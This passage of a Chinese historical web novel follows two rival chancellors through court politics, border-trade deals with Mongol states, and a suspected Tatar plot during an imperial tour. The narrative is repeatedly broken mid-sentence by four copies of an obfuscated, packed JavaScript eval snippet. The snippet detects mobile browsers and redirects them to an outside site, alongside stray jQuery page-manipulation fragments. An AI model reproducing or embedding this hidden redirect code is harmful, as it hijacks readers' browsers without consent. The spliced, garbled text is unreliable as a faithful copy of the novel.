“对于吴老丞相,我的了解肯定不如你多。”陆洗一句话带过自己的身世,轻描淡写的,“但我想,似他这样有仁爱之心的人,定不会介意我用他旧时的香炉点柏子香。” 林佩道:“你不是江鄱杜淳县人吗?” 陆洗道:“我一路漂泊到江鄱才定居。” 林佩道:“原来如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749274|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此。” 陆洗坦然一笑:“所以这就是你我之间的鸿沟,你在国子监拜师学习的时候,我在勾栏捡剩菜果腹,你不必争不必抢却万事俱备,而我每爬一个台阶都要先被质疑羞辱一番。” 香炉的盖子合上了。 火星仍在闪烁,没有被铲灭。 林佩没有想到的是,陆洗在取得户部的支持之后反而对自己交了老底。 二人的政见不同是性格使然。 林佩认为守住规矩方得太平,而陆洗眼中不主动抢夺就一定会失去。 陆洗道:“自前朝以来,皇室安居金陵,对西北边疆采取防御政策,大抵是人不犯我我不犯人,人若犯我,我们象征性出兵打一仗然后议和,结果就是过去数十年里,蒙古各国不断发展壮大,而我们因循守旧,连续八次割让土地换取安宁,长此以往,恐怕难以维系。” 林佩道:“但北方之地偏荒,即便守住土地也是得不偿失,况且以我们眼下的国力实在很难与蒙古打一场旷日持久的大战,所以先帝……” 陆洗道:“此间只你我二人,斗胆问一句,你真的认为先帝晚年所做所为都是对的吗?” 林佩默了片刻,反问道:“那按照你的意思应当如何?” 陆洗道:“我说过的,化被动为主动。” 林佩道:“寥寥几个字太笼统。” 陆洗笑道:“北方之局要分三步走。第一步是开放关市,用通商之利稳住瓦剌和兀良哈,西连古官路驼道,东通河海航线,共同制约鞑靼;第二步是鼓励工商,充盈国库,待国家经济有所发展,国库才能拿出钱粮训练新军,北军才能具备与蒙古各国打持久战的条件;最后伺机而动,纵深出击,一举收复燕山以北的全部失地。” 林佩表面保持尊重的态度,内心仍和刚听到升平北为北直隶时一样觉得冒险。 但此冒险非彼冒险,彼时他觉得陆洗这人目的不纯,不足以担负重任,因而觉得冒险,此时他只觉得施行以攻为守的策略需要克服重重困难,至少他自己是不敢如此冒险的。 “你有想过得失吗?”林佩道,“今年新帝刚登基,鞑靼眼下只是在边境逡巡试探,一旦我们有不同于往年的动作,未等稳住他们,他们可能就会先发动攻势。” 陆洗道:“我是个市井俗人,我考虑不了那么多,只知道如果一直不迈出第一步,有生之年也实现不了自己的愿望。” 林佩道:“什么愿望?” 陆洗道:“把亲人骨灰带回故土安葬。” 子时打更,锣声清透空灵。 “如此看来,不是太后把你当提线木偶,而是你自己把牵绳交到她的手中。”林佩拨了一下灯芯,眸中映入跳动的烛火,“你想借平北朝贺之机迈出第一步。” “是的。”陆洗笑道,“顺便也做点私人生意。” 铜漏壶内浮箭的刻度不知不觉下降。 林佩一边批阅奏本一边回忆这段时间的几次交手。 让他觉得己所不能及的是这个人的“无相”。 无相生万相,比金刚怒目更厉害的是随时能够放低的姿态。 他渐渐对陆洗生出几分理解,纵然政见仍不相同,但现在似乎也能在同一片屋檐下共事了。 后半夜,外面下起细雨。 竹叶贴着窗户落下剪影。 林佩清一下嗓子:“陆大人还有什么话要说吗?” 陆洗道:“我帮你洗笔换水,借这个机会,想跟你学一学怎么处理奏本。” 林佩道:“你把温迎挤走原来为的是这事。” 陆洗道:“闻道有先后,在这件事上,我和温参议都是你的学生。” 18. 交心 笔洗中又一次换上干净的水。 底部青釉色的开片花纹清晰可见。 “这事其实没有什么技巧,做多了就熟练了。”林佩拿起西南土司的上贡清单,翻阅一遍,迅速拟出两三行批复,“实在要说有技巧,那就是找不同。” 六百六十六件贡品,数量名目虽然复杂,但和前三年的上贡清单一做对比,就只剩下寥寥几处变化。这几处变化所反应的信息往往才是真正需要注意的。 林佩以此示范,今年的与去年比,地方的与同级比,如此既可做到统筹高效,又不遗漏细节。 “只是这一切有一个前提,就是已经看过足够多。”林佩合上清单,“多到不再需要翻旧账,心中自有黄簿。” 陆洗接过笔,感慨道:“如果之前的先生能教我就好了。” 林佩笑道:“教书先生哪会教这些。” 陆洗低下头,用手轻轻扒开毫毛,冲洗根处的墨汁。 林佩一醒,忽才想起身旁这人不是书吏,而是理应和自己平起平坐的右丞相。 怨只怨这位右丞相太会察言观色,刚要换水水就端来了,刚要蘸墨墨就磨好了,甚至连他手心发汗的细节都照料着,总能恰到好处地递上丝帕供他擦拭。 墨在水中荡开。 陆洗一直洗到笔尖流出清水,才将笔头捋直,平放到宣纸上吸干。 “我用的是官署统一发的耗材,不像你的笔筒里随便抽一支都是玉管。”林佩拿起那支笔,直接挂到架上,“用坏了咱们就换一支,不必纠结。” 陆洗抬起头,眼中些许疑惑:“读书人难道不应爱惜文房吗?” 林佩闻言一笑,却被问住了。 陆洗凝视片刻,也跟着笑一笑,旋即目光垂落低处,手攥得很紧。 林佩解释道:“读书人是应爱惜文房,但可能我入仕已久,觉得笔墨纸砚本身是拿来用的,物尽其用,不错用,就算得上是爱惜。” 陆洗道:“可惜这世间有太多附庸风雅本末倒置的人。” 林佩听出一丝情绪,拉住陆洗的衣袖:“怎么了?” 陆洗道:“入京之前即知你是吴老丞相最得意的门生,朗如日月,行若松风,我便也花了很多钱,不光是置办书房里的摆设,还请人教我写字,教我礼仪,教我谈风月。” 隔着丝料,林佩能感受到陆洗那条胳膊的肌肉紧绷。 “却没有一个人能教我什么叫物尽其用。”陆洗道,“见笑了。” “好冤枉。”林佩道,“我何时笑过你?” 同样的话他对陆洗说过一次,即便以后被反复问起,他也相信自己不会改口。 抛开政治上的立场,初次见面他就发现自己对陆洗有种特殊的宽容。 他觉得丽冠华服穿在陆洗的身上是好看的,是美的,是能吸引他目光的。 朝夕相处,多少已摸出彼此的性情,他何尝不知陆洗与人交往时看起来总是笑容满面,其实内心极其敏感,一个字、一句话、一个不经意的动作都会引发不同的反应。 林佩顺着衣袖往下,抓住陆洗的手腕。 陆洗道:“你倒也不用同情我。” 林佩道:“白日见你手上有道疤,之前未曾注意,是无赦吗?” “无赦鞭打的是忤逆犯上之人,你不装没看到,反而还细问。”陆洗一把甩开,嗤笑道,“我身上多的是疤痕,脱给你看好吗?” 挣脱之际,指尖扫过笔洗。 水泼洒而出,落得一地半清半浊。 林佩顿了顿,平静道:“是因为害怕,而不是瞧不起。” 陆洗的声音有些沙哑:“什么?” 水滴从发梢滑落。 “那天,你问我为什么用‘闯’这个字形容你入京。”林佩伸出手,擦去溅落在陆洗双睫之间的水珠,轻声道,“不是因为瞧不起你,而是因为打心里害怕你这样的人。我是如此,用无赦鞭笞你的那人是如此,所有你眼中践踏羞辱过你的人,大抵都如此。” 窗外雨声淅淅沥沥,空气湿闷。 彼此能听见对方的喘息。 陆洗咬一咬牙:“我又不会伤害你们,我只是想要自己应得的东西。” 林佩道:“是啊,他们不知道你,但现在我知道你了。” 陆洗看着林佩清澈的眼眸,呼吸逐渐恢复平稳。 这番交心的话像柔软丝绵包裹住无声滴血的创口。 * 七日后,中书省积压的本子清空,公文程序恢复往日畅如流水的局面。 林佩举起双手伸了个懒腰。 小憩片刻,他起身去浇院子里的那几盆迎客松。 院门口传来脚步声。 于染、贺之夏、董颢、鸿胪寺卿与礼部的两位侍郎一同来到。 “原来是林相回来了。”鸿胪寺卿笑道,“见林相身体康健,下官等都很高兴。” 董颢道:“连今日的松叶都比昨日青翠些呢。” 贺之夏道:“是啊。” 林佩握着手中的一瓢水,就地受众人的礼。 他不知前几日怎样光景,自他回来,还是第一次见各处官员如此整齐地找陆洗议事。 水浇入盆中,浸润土壤。 林佩见大家还是站着,心中如明镜,忙侧过身,笑一笑道:“右相在里面,诸位自便,我这儿还没浇透,就不给你们引见了。” 几人一团和气地走过。 “于尚书。”林佩道,“留步。” 于染站下,笑容略显局促,不停地揉搓着手背。 林佩转身走向水缸,问道:“怀生的名字改回来了吗?” 于染道:“是,叫郑清歌,看国子监那边……” 林佩舀着水回来,道:“国子监今年招生已经结束。” 于染道:“唉,那,可惜了。” 林佩道:“若是等得起,就明年再上。” 于染一听此言,眼中亮起光:“真的?” 林佩只作寻常道:“其实你不必纠结,过去我给他安排名额,是因为他本应能上但受累于身世,现在我不做刻意安排,是因为按规则他自然能上,与旁的都无关。” 于染听了,躬身作揖:“林相心胸似海,下官惭愧。” 水已浇透,一滴一滴从盆底落下。 * 礼部的两位侍郎后来把右侧屋议事经过写成密信交到了温迎手中。 温迎报给林佩听。 ——“圣驾八月初三从京城出发,途经济南行在,预计八月下旬抵达平北府。钦天监请良辰吉日,定于九月十五举行朝贺大典。” ——“随行官员,包括户部、工部二位尚书和鸿胪寺卿,合计三百余人。” ——“瓦剌使团一百八十人,兀良哈使团二百人……使团入住东直门馆驿,贡礼暂置营州仓库,十月前转运各地。” 从林佩的视角看,诸多事项除了皇帝与太后的用度过于奢靡以外,其它还算是有序,以陆洗从地方到中枢不满一年的资历,能组织成这样已经很不容易。 只有一件事暂时还被搁置着,那就是调兵之权。 按照年初既定的方案,本次负责保卫圣驾的是中军、后军都督府的军队。 陆洗想请职方司出调兵令,但被贺之夏婉言拒绝。 贺之夏言,五军都督府分制天下兵权乃是先帝定的规矩,前、中、后、左、右互为牵制,关系复杂,必须由清楚内情的人下调令,才能保持各方平衡,避免生乱。 林佩就是清楚内情的人。 前天,北方传回紧急军报,探得边境再次有鞑靼军队出没,目的不明。 林佩据此已经做好协调部署,令中军都督府增派五万兵力,合后军都督府共计七万兵马一同驻扎于平北府西郊军营,无特殊情况俱不外调。 除了五军都督府以外,京军之中还有直属皇帝的羽林九卫、金吾卫和单独编制的五军、三千、神机三大营,但这些军队的将领资历颇老,对林佩尚且不全服气,以陆洗的声望更调不动。 陆洗想调兵的事也就此作罢。 门外飘来饭香。 午歇时间到。 温迎道:“大人你今日是和右相一起还是?” 林佩点了点头:“我去后廊,你和宋轶一起吃吧。” 随着左右二位丞相的势力渐渐达到平衡,文辉阁每日吃饭的格局也变得十分玄妙。 从前是林佩和大家一起吃大锅烧的饭,而陆洗在书房里吃府中送来的山珍海味,现在变成林佩和陆洗二人在后院玉兰轩吃,温迎则只好和自己同级的宋轶搭伙。 温迎一边夹菜,一边担心后廊生事。 他上回见左侧屋里残留的墨痕,怀疑林佩和陆洗动手打了一架,可又不好问。这回关于兵部调令二人再起分歧,他隐隐不安,总觉得又要发生些什么。 突然耳边刮过凉风。 温迎一个不小心,竟然让宋轶把藏在他官帽里的稻草给抽了出来。 ——“宋轶,你做什么?” 宋轶在县衙做过捕快,身手敏捷,一下就跳到了栏杆后面。 温迎气喘吁吁,伸出一只手,颤道:“快还我,不是开玩笑,我妻会杀了我。” 宋轶笑了笑,把稻草抿在嘴里:“我家大人想打听一些关于你家大人的私事。” 温迎犹豫片刻,终于点头:“问吧,能说的我就说。” 宋轶道:“林相与纾禾公主在被先帝指婚之前见过面吗?” 温迎皱眉,没反应过来。 宋轶想了想,接着道:“林相不愿迎娶公主是因为想要仕途,可是他至今未纳妾未育子嗣,会不会其实对公主还是有情的? 温迎反问:“陆相打听这种事是要做什么?” 宋轶道:“这你别管,我家大人路子野,一向是什么都爱打听。” 温迎道:“议论上司的家长里短,你要指望如此诋毁我,可就太小瞧我了。” 宋轶道:“哎呀,口说无凭的事,谈什么诋毁,就当聊天解闷儿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆洗道:“是啊,你若是嫌麻烦,我找别家寄养。” 林佩道:“不麻烦。” 陆洗从这一句中觉察出什么,追问道:“你原本以为我要说什么?” 林佩伸手摸了摸猫儿的耳朵:“我以为你会向我借兵。” 猫耳朵飞快地一扫,扁下去了。 陆洗道:“我若是开口,你答应吗?” 林佩道:“不答应,此次你与北方各国谈什么我不管,我只管陛下的安危。” 陆洗道:“唉,这就是了,既知你不答应,我又何必开这个口呢?” 林佩道:“以往我不答应的事,问没问的,你哪一件不是做了。” “从前是从前,现在是现在。”陆洗唇角一扬,抬头看着林佩,眸中光华流转,“从现在起,陆余青不想再做任何一件惹你不高兴的事。” 林佩笑了声:“若不是看在妞儿的份上,我连你这趋承讨好的话术也要骂。” 陆洗道:“那它算是救过我两回了。” 林佩道:“哦?第一回是什么事?” 陆洗道:“那天热,那碗绿豆汤我都喝一半了,妞儿闻一闻突然咬我的手,我赶它走,它居然在我身上撒尿,没法儿我只能回去换衣服,却还没到家呢,就开始大口地吐血。” 猫儿两只耳朵又竖起来,一只黑一只黄,衬得额头中间的白毛像一团雪。 林佩神色微变。 原来陆洗说的是在川西被下毒的细节。 “如果我把那碗汤全喝下去,恐怕活不过三天。”陆洗用玉梳给猫儿梳毛,动作温柔轻缓,“但谁让我命硬呢,后来我抓住那厮,也请他喝汤,汤没下毒,可他自己把自己吓死了。” “陆大人。”林佩想了想,扶住陆洗的肩膀,“肠胃可以调养,但你首先要克服心病。” 陆洗摇头道:“我没病。” 林佩从袖中拿出一张纸,递过去:“这是我给你开的药。” 纸上面写的是某种配方,食材几种,各需几两,如何处理,如何制作。 陆洗道:“看起来不像药,像菜谱。” 林佩道:“有眼力,其实就是三珍白玉糕的做法。” 陆洗顿了一下,道:“原来是你自己在家琢磨出来的,难怪我让宋轶找遍了京中酒楼,竟无一处可寻见。” 林佩既爱好创作菜谱,也曾看过许多偏门杂书,所以第一次见到陆洗进食困难的症状,便猜到是火凤苓之毒。 他选怀山药为皮,取其味甘温,补虚赢,除寒热邪气之特性,再加山楂、陈皮制成的果泥为馅,行健胃消食、行气散瘀、化浊降脂之功效,做成这道糕点。 绿萝藤蔓之间蝴蝶翩跹。 猫儿被梳得舒服了,打起瞌睡。 陆洗的眼眶却泛起红:“多谢。” “我会照顾好妞儿,你放心。”林佩点了点头,语重心长道,“只是这一路我毕竟不在陛下左右,事关邦交大计,事关北疆安宁,一切机变权宜就靠你了。” 19. 平北朝贺(一) 八月初三,皇帝北巡。 城北旌旗绵延数里,鸣钟击磬,礼乐悠扬。 朱昱修乘坐的金辂由六匹白马牵拉,四面垂挂如意滴珠板,车涂红漆,画十二祥兽。 金辂之后是太后的玉辇,左右悬挂紫色花纹帷幔,前后铺满新鲜玉簪花,车顶装饰也是奢丽,竟栖息着一只纯金打造的环抱羽翼的六尾凰鸟。 随行的宫人、侍卫、仪仗不计其数,如一条长河在官道上缓缓前进。 太平门外,文武官员夹道相送。 林佩领旨镇守京师,与方时镜、杜溪亭、尧恩、温迎同在送行队伍之中。 方时镜对如此铺张的场面很看不惯,全程冷着脸。 杜溪亭笑说:“这笔钱又没让礼部出,方尚书想开些。” 方时镜道:“大内库房的钱难道就是大风刮来的吗,还不是从不知名处搜刮来的民脂民膏?唉,我看陆洗净做表面功夫,真是谄媚至极。” 林佩没说什么。 他与宫里的接触比别的官员更频繁,所以他知道董嫣的性子。 常言道人年少而不可得之物必将成其终生之牢笼,董嫣就是这样,入宫十几二十年逆来顺受隐忍不发,如今终于赢下了江山,势必是要找机会发泄一番的。 倒是昨夜廉纤送信来,说陆洗临行前去青霖看了他多年前题的词,他有些意外。 自从进了中书省,他渐渐收笔,虽仍会参加殿阁大学士组办的各类文社,但只点评时髦,抬举人才,不再留下除公文以外的任何笔墨。 青霖的那一首《渔家傲》是他唯一一首尚还在民间流传的词作。 因词中有句“一点灵犀相望好”,所以常被当世之人解作情诗,又因为他洁身自好,从来没有和哪位女子传过绯闻,于是大部分人都认为“灵犀”之所指便是纾禾公主。 “温迎,我问你一事。”林佩道,“为何陆相会知道我在青霖题的词?” “回大人。”温迎憋了一会儿,坦白道,“宋轶问我,我告诉他的。” 皇帝车仗渐行渐远。 钟山脚下尘土弥漫,远望如一条黄金飘带。 林佩等到日月大纛消失在视线之中,方才直起身,拍了拍襟口。 温迎道:“对不起大人,我口风不严。” 林佩和气道:“不怪你,该知道的他早晚会知道。” * 天子车驾从金陵出发,经鱼米之乡,来到齐鲁之地。 陆洗一路陪朱昱修作乐。 朱昱修闷了想看小说,喊陆洗去找。 陆洗笑道:“陛下,你摸摸坐垫底下。” 朱昱修咦了一声,果真摸出一本《醒世姻缘传》,是陆洗前几日从当地集市书摊上淘来的。 书中有一段叙述孙姬款待旧相好设宴,写桌上有一碟风干栗黄,一碗炒熟白果。 朱昱修从未尝过民间小吃,很好奇,喊陆洗去找。 陆洗笑道:“陛下,你看这是什么?” 帘幔向两边打开,朱昱修揉了揉眼睛,只见太监端着的正是糖炒栗子和盐烤白果。 陆洗卷起袖子,趁热剥了两三粒,递到御前。 朱昱修咯吱咯吱笑起来:“像狸花。” 陆洗对镜一照,原来是脸上有几片栗壳。 他索性也不擦,举起双手,比出抓人的动作,嗷呜叫了几声。 朱昱修拍着扶手,笑得前俯后仰:“哈哈哈哈哈哈。” 董嫣听见动静,让人把陆洗叫到自己跟前,询问中秋佳节应当如何过。 陆洗道:“太后勿忧,济南府已经在泺泉安排迎秋宴。” 董嫣静了一会儿,问道:“济南府有烟花没有?” 陆洗也静了一会儿,回道:“臣命人加急筹备。” 董嫣小声道:“这些花销不好让济南府出,可是大内又没什么钱了,右相还有法子吗?” 二人隔着帘子,外面光线亮,里面暗。 陆洗不作声地咬了咬牙。 董嫣道:“若是有难处,不必勉强。” 陆洗看着帘子里的漆黑,回道:“臣的一切都是太后给的,没有什么能难住臣。” 董嫣轻声一笑:“不提我还以为你忘了呢。” 陆洗道:“臣不敢忘,立刻去办。” 一支玉簪花从窗中伸出。 “在金陵总觉得憋闷,到了北方方觉神清气爽。”董嫣道,“右相的安排正合我心意。” 陆洗领了赏。 阮祎路过,关切地问怎么回事。 陆洗苦着脸道:“阮公公啊,得亏你问,这苦水我还真是只能和你倒。” 阮祎道:“怎么了?” 陆洗拔下花,算起账。 去年飞蓟堂通过志朴香堂给宫里交了三十万两,今年交了二十万两,还没有算新帝贺礼、太后寿礼、元宵乐宴、清明造湖景供皇室春游等资费,再就是前几年宫里让大湖织染局多交的千匹三色锦,说是日后减免,最终还是没了影儿。 “若不是运气好,我还算有一些盈余,怕倾家荡产也供养不起。”陆洗道,“刚喘一口气,又得掏钱办中秋晚宴,还要放烟花。” “陆相说这些,是嫌司礼监拿多了。”阮祎置之一笑,“可你若真有困难,上回还能拿出一万两给青霖园主做人情?” “我知道,多谢你把弹劾我的奏本留中。”陆洗唉道,“但那件事我也是不得已而为之,青霖是京城消息海,我又不像林相动不动就和谁是世交,除了拿钱开路,我没别的法子。” 阮祎道:“好好好,待这趟回去,咱家择机提醒太后,你忍一忍啊。” 八月十五,中秋佳节,董嫣在济南行在大宴群臣。 华灯初上,笙歌鼎沸中舞袖翩翩。 泺泉之畔火树银花,宾客觥筹交错,欢声笑语不断,尽显一派繁华盛景。 陆洗假吃了几口,结束应酬,抽身回馆驿议事。 他是没有心思看歌舞的。 北方局势风云际会,能否与蒙古各国达成短期的和平协议,能否用通商之利稳住局面,能否退去骚扰边境的军队,就看这次朝贺的成败。 陆洗到的时候,屋中已有四人,分别是宋轶、董颢、于染和飞蓟三分堂堂主飞逸。 飞逸身披黑纱,脸戴面具,手指间转着一枚麒麟镖。 董颢穿着一袭旧服,补子颜色发白,襟口泛黄,呈现出一种与身份不相称的过分的俭朴。他是太后董嫣的族兄,连陆洗私下见他都得谢当年的提拔之恩。 陆洗拱手行礼:“恩公。” 董颢道:“虚礼就不要讲了,讲讲事情进展如何,年初你要通哈密、广宁两条路,工部尽全力督造,不仅没延误而且还提前完成,现在总得听你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749276|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个所以然。” 陆洗笑道:“宋轶。” 宋轶铺开一张地图。 于染轻咳,起身递出一本册簿:“陆相要的都在里面,下官告辞。” 一记飞镖把门栓钉住。 于染抬头:“?!” 飞逸拦下人,歪头笑道:“于尚书,从见到我的一刻起,这艘贼船你就下不去了。” 于染捋着胡须,缓缓坐下。 陆洗在这张地图上画的既不是行军路线,也不是通商路线,而是一个个代表当地关键人物的标记,标记间牵连着丝丝红线,代表人物之间错综复杂的关系。 蒙古各国雄踞北方草原,实力最强的主要有西边的瓦剌,中部的鞑靼、东边的兀良哈三国。 陆洗先从拿定兀良哈说起。 兀良哈虽然历来与鞑靼通婚,但这一任首领阿札性格软弱无主见,凡事都向国师塔宾请教。 塔宾其人虽对外强势,却有一个隐蔽的软处,那就是他极其宠爱身边如花似玉的小妾宝音。 宝音是汉人,家中父母兄弟姐妹都还在辽北未迁,这一信息被飞蓟堂打听到之后,立刻就把这家人“守护”了起来,并通过他们给宝音送去许多稀世珠宝。 宝音得到好处,心中五味杂陈,自是喜爱珠宝,却又隐隐为家人安危担心。在飞蓟堂的利诱威逼之下,她最终选择听从,如其所愿对塔宾吹起了枕头风。 塔宾想哄爱妾开心是一方面,另一方面他还贪财,早就看不惯隔壁鞑靼截断与阜国通商的独石官道,正思量,不想阜国新上任的右丞相陆洗如此慷慨,不仅如约开放辽北海关,还专门为两国重修广宁古道,足见互市诚意,于是他转变态度,力劝阿扎亲汉。 “这是塔宾大人亲笔书信。”陆洗把一道木牒放在桌上,“他将派长子托托前来朝贺,先前咨询于尚书正为此事,纯种马匹价格不菲,税率定多少得听户部的建议才是。” 于染笑了笑,再次递上文簿,道:“我这都算得清清楚楚的,广宁共开市三处,若与兀良哈谈拢,每年关税可添八十万两,其中马匹税按三十抽一。” 陆洗收入怀中:“听到了没,于尚书要打马吊。” 于染道:“啊?” 飞逸道:“听到了。” 于染道:“不不不,这和马吊牌有什么关系,我是说,既然开市,务使客商有利,夷价无亏。” 这里还在扑腾,那里刀俎已落。 宋轶接着给于染举了一个例子,譬如马匹可以分为上上、上、中、下、驹五等,若在给马分等级的时候动手脚,则很难被查出,行话叫“牵马钱”。 “互市是对兀良哈的笼络和安抚,也是互利互惠,国库拿大头不必多说,但在座的各位也都付出了心血,不能饿肚子。”陆洗摸着手上那颗鸽蛋大小的翡翠,做主道,“牵马的钱,塔宾那里回三成,工部二成,户部二成,地方兄弟们二成,陆某人拿剩下的就当跑腿。” 董颢点了点头。 于染的脸涨得通红。 宋轶笑道:“于尚书,你在户部十年,别装了。” 于染摆摆手:“不是装,富在术数不在劳身,利在势居不在力耕,似陆相这样的手笔,于某人也算是相见恨晚,倘若之前朝廷有一半的胆魄,国库也不至于现在还是亏空。” 陆洗请几人安坐,接着讲与瓦剌的交涉过程。 20. 平北朝贺(二) 瓦剌可汗额鲁特常年在阜国和鞑靼之间摇摆,有时和鞑靼合兵扣关,有时又私下向阜国求和,只为借哈密古道通往西边的古官路驼道。 陆洗在多方打听,细细琢磨之后,决定对额鲁特生性多疑这一弱点出手。 额鲁特有两个儿子。大儿子主张联合鞑靼对抗阜国,而小儿子崇尚中原文化。 陆洗招募了一批细作,令其潜入瓦剌各部散播流言,说额鲁特的大儿子与鞑靼汗王来往密切,双方私下已达成协议,若今年合力攻破阜国边塞,鞑靼汗王将助大儿子取得瓦剌汗位。 额鲁特年事渐高,本就对权位交接十分敏感,正这时又收到了一封来自阜国的拆了封的国书。 国书拆封涂抹其实是陆洗刻意为之,然而额鲁特疑心过重,认定是大儿子所为,连夜将大儿子禁足,令拥护小儿子的族人密儿纪去平北朝贺。 大儿子为表忠心,只得依照额鲁特的意思去鞑靼领地抢回三百只羊和五十口人方才得到谅解,却也因此彻底得罪鞑靼,难成气候。 夜空烟花绽放,窗前时明时暗。 陆洗的目光最后落在鞑靼境内。 他重修哈密和广宁两条古道,正是为西联瓦剌,东联兀良哈,共同向蒙古中部的极具野心的鞑靼汗王鬼力赤施压,逼迫其撤回骚扰阜国边境的军队。 不料鬼力赤听闻瓦剌和兀良哈的动作之后也派出了使者往平北朝贺。 宋轶道:“大人,鞑靼使团据悉已入独石道。” 陆洗喝一口水,点了点头,神色仍不轻松:“鬼力赤年富力强,野心勃勃,近来多次出兵试探我国边境,这样一个人不该如此客客气气地对我们示好,要时刻提防。” 飞逸道:“大人,我们随时听候差遣。” 陆洗道:“好,先这样。” * 圣驾于下旬抵达平北府。 微风拂过城郭,金色梧桐叶摇曳。 远远可见城门的重檐歇山顶,角楼、瓦当、角髻等装饰层次丰富,红漆墙,金琉璃,石匾额上用篆书雕刻正顺两个大字,整体气势宏伟,规格与京城相当。 平北布政使张济良带领各州官员迎接皇帝和太后的驾临。 平北都司指挥使董成把军队留在城外,只身一人在护城河一带恭候。他是董嫣的侄儿,战时指挥地方军作战,平时负责探查北境情报,保卫辖区安宁。 “平北府虽暂是行在,往后定要立为北京。”董嫣看着递来的规划图,神色悦然,“希望各位同心协力办好九月十五的大典,回朝之时,皇帝和本宫方能说服百官。” 陆洗与旧部打了个照面,之后第一件事就是实地去看接待各国使团的馆驿和营州仓库。 佳期将近,东直门馆驿已陆陆续续有使者入住,附近开起民市、钱庄和马号,有二弦琴悠扬,奶茶飘香,异域风情渐浓。 陆洗私下约见兀良哈使者托托、瓦剌使者密儿纪,就之前沟通过的事项深入交谈,不日敲定细则。他早先也打听过几人的喜好,以珠宝美人相赠,两边都感到十分愉悦。 陆洗接着拐到营州仓库。 营州库前,各使团成员驱牵马往来,皮箱堆积,锁链哗啦作响。 通译高声传话,库吏匆忙登记,胡语混着汗膻味在暮色中蒸腾。 礼品繁多,将带到大典之上展示的只是一小部分,其余就地囤放。 陆洗拍了拍柱子:“这里每日有多少人出入?” “我们忙着修缮宫殿和安排礼仪,每日少说也有百人出入。”陪同官员解释道,“张济良张大人的意思是能放下礼品即可,反正有人看守也不会失窃。” 一片麦皮从面前飞落。 睫毛轻动,脑海中闪过几句话。 ——“实在要说有技巧那就是找不同。” ——“今年的与去年比,地方的与同级比。” ——“变化才是真正需要注意的。” “拿鞑靼的礼单来。”陆洗道,“我再看一遍。” 礼单摆齐,可见今年鞑靼的贡礼明显比别的国家多,不只多于牛羊,还多了二百箱毛毡和五百箱木料。 陆洗见之一醒。 木箱需要人来运送,多出七百只箱子就意味着多出三四百人。 宋轶道:“一切就绪,大人为何神情凝重?” 陆洗道:“独石道十分重要,鞑靼很有可能要借这次朝贺的机会潜入居庸关,然后里应外合夺取平北,对中原发动攻势。” 宋轶道:“什么?难怪……难怪他们多年不曾进贡,这次突然这么多。” 陆洗道:“传信三分堂,命沿途关隘设点,严密监控鞑靼使团及其携带的货品,但切记不要打草惊蛇。” 宋轶先点了点头,思考片刻又道:“大人,如果鬼力赤真的图谋不轨,关键还是在于我们如何应对,我们计较到底,势必引发两国大战,恐后果难以接受,可若是装聋作哑,暗中处置,又显得太软弱。” 陆洗道:“我要进宫见太后。” 宋轶道:“太后正忙着和故人叙旧呢。” 秋风吹过,窗户外嗡嗡作响,如能听见狼群的吼叫。 陆洗笑了笑,手握成拳头,按在柱子上自己刚拍过的位置:“变数即机遇,咱们今后能不能体面地活,就看这次。” * 独石官道以北是辽阔的草原。 秋季,天空云卷云舒,金色草海之间点缀着深绿浅绿的树木。 鞑靼大帐已在云河源头驻扎三个月。 汗王鬼力赤巡视各处归来,纵身跃下马背,与他的叔父阿罗出到大帐议事。 鬼力赤十二岁上战场,十五岁领兵,十七岁遭遇王庭变故,痛失双亲,逃亡之时他的身边仅剩叔父阿罗出和三百侍卫,却仅用六年就东山再起,二十四岁,他率三千铁骑从漠北发兵直取乌兰山,一刀斩篡位者于马下,替父报仇,重新夺回汗王之位。 之后,他带兵横扫蒙古中部草原,平息内乱,统一旧部,让鞑靼再度成为北方强国。 阿罗出是鬼力赤的叔父,亦是辅佐他夺回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749277|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王位的谋臣,有草原雄鹰之名号,在族中威望很高。 叔侄二人合谋趁阜国皇帝年幼无法掌控朝局的时机南下进攻,但在目的上仍存有分歧。鬼力赤想要攻破居庸关直取平北府,而阿罗出担忧草原北部的几个尚未归顺的部落伺机举事,认为此番他们只需在冬季前逼阜国签订交钱纳粮的合约,待稳定后方,再行南征之大计。 鬼力赤走进大帐之前,先在南边的沙堆上摆好一列榆木枝,烧红白纸以祭奠先祖。 阿罗出随之行祭。 